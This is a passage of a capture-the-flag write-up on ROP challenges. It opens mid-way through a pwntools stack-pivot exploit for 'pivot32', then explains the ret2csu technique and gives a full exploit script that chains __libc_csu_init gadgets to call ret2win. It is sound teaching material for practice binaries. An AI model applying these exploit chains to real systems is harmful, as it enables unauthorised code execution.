= p32(0x0804882e) addeax_ebx_ret = p32(0x08048833) moveax_addreax_ret = p32(0x08048830) popeax_ret = p32(0x0804882c) call_eax = p32(0x080485f0) popebx_ret = p32(0x080484a9) stack_pivoting = footholo_plt stack_pivoting += popeax_ret stack_pivoting += footholo_got stack_pivoting += moveax_addreax_ret stack_pivoting += popebx_ret stack_pivoting += addr_offset stack_pivoting += addeax_ebx_ret stack_pivoting += call_eax p = process('./pivot32') p.recvuntil(b'> ') p.sendline(stack_pivoting) stack_change = offset stack_change += popeax_ret stack_change += addr stack_change += xchgeax_esp_ret p.recvuntil(b'> ') p.sendline(stack_change) p.interactive() ``` # Ret2csu ## Let's check ![image](https://hackmd.io/_uploads/rkh0rSOgA.png) ![image](https://hackmd.io/_uploads/S1xZLrOlA.png) ![image](https://hackmd.io/_uploads/Sk78cHdlA.png) ` ret2win: 0x7ffff7c009d3` #### **I can only pass agrument to these registers; however, it is impossible with rdx** ![image](https://hackmd.io/_uploads/rJZUISux0.png) - In the instruction, it gives me a hint is that there is something important in `__libc_csu_init` ![image](https://hackmd.io/_uploads/H1c0LH_lA.png) - ![image](https://hackmd.io/_uploads/SkddwHue0.png) - gadget 1 - ![image](https://hackmd.io/_uploads/SkxbvHde0.png) - gadget 2 - I can modify rdx by using gadget 2 to pass the agrument to r15 and gadget 1 to pass it into rdx. - The important point is ![image](https://hackmd.io/_uploads/HyQ6PHOlA.png) , it call the the pointer at the address `r12 + rbx *8`. Meanwhile, I can change the value of r12 and rbx in gadget 2. ## **What is the pointer we should call???** [Return-to-csu: A New Method to Bypass 64-bit Linux ASLR](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf) [Some universal gadget sequence for Linux x86_64 ROP payload](https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html) Depend on the above documentation, I check the `_fini` ![image](https://hackmd.io/_uploads/SybcKSulA.png) **- Thus, the pointer should be: 0x4003b0** --- ![image](https://hackmd.io/_uploads/r1TyiBdl0.png) As you see, after the call function, it will compare rbx and rbp. If they aren't equal, then the program will loop. We should do ``` rbx = 0 rbp = 0x1 r12 = 0x4003b0 ``` ***After that*** ![image](https://hackmd.io/_uploads/SJBaoHde0.png) Notice the number value we should pass into the stack. **Everything is clear, let's write script** --- **My script** ```python= from pwn import * offset = b'A'*40 poprdi_ret = p64(0x4006a3) poprsi_popr15_ret = p64(0x4006a1) poprbx_rbp_r12_r13_r14_r15_ret = p64(0x40069a) ret2win = 0x7ffff7c009d3 movrdx_r15__call = p64(0x400680) ret = p64(0x4004e6) arg1 = 0xdeadbeefdeadbeef #rdi arg2 = 0xcafebabecafebabe #rsi arg3 = 0xd00df00dd00df00d #rdx payload = offset payload += poprbx_rbp_r12_r13_r14_r15_ret payload += p64(0) #rbx = 0; then inc 1 to cmp with rpb payload += p64(1) #rbp = 1 payload += p64(0x4003b0) #r12 payload += p64(1) #r13 payload += p64(1) #r14 payload += p64(arg3) #r15 to rdx payload += movrdx_r15__call payload += p64(1)*7 #pop the value from the stack in poprbx_rbp_r12_r13_r14_r15_ret + add rsp, 0x8 payload += poprdi_ret payload += p64(arg1) payload += poprsi_popr15_ret payload += p64(arg2) payload += p64(1) payload += ret payload += p64(ret2win) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./ret2csu') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ```